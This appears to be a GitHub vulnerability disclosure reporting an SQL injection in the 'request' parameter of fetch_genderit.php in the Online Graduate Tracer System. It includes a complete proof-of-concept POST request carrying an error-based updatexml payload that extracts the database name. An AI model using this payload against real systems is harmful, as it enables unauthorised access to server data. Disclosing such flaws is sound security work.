Skip to content

Latest commit

 

History

History
45 lines (31 loc) · 1.48 KB

sql4.md

File metadata and controls

45 lines (31 loc) · 1.48 KB

Online Graduate Tracer System has sql injection vulnerability

supplier

https://www.sourcecodester.com/php/15904/online-graduate-tracer-system-college-ict-alumni.html

Vulnerability file

/tracking/admin/fetch_genderit.php

Vulnerability analysis

image

describe

There is an unrestricted SQL injection attack in the Online Graduate Tracer System, and the controllable parameter is request. An attacker can obtain sensitive server information through this vulnerability.

POC

POST /tracking/admin/fetch_genderit.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: http://localhost
Connection: close
Referer: http://localhost/tracking/admin/adminlog.php
Cookie: PHPSESSID=cims89c5nt143re39d3ce6cdvd
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

request=1%27+and+updatexml%281%2Cconcat%280x7e%2C%28database%28%29%29%29%2C3%29--+q
image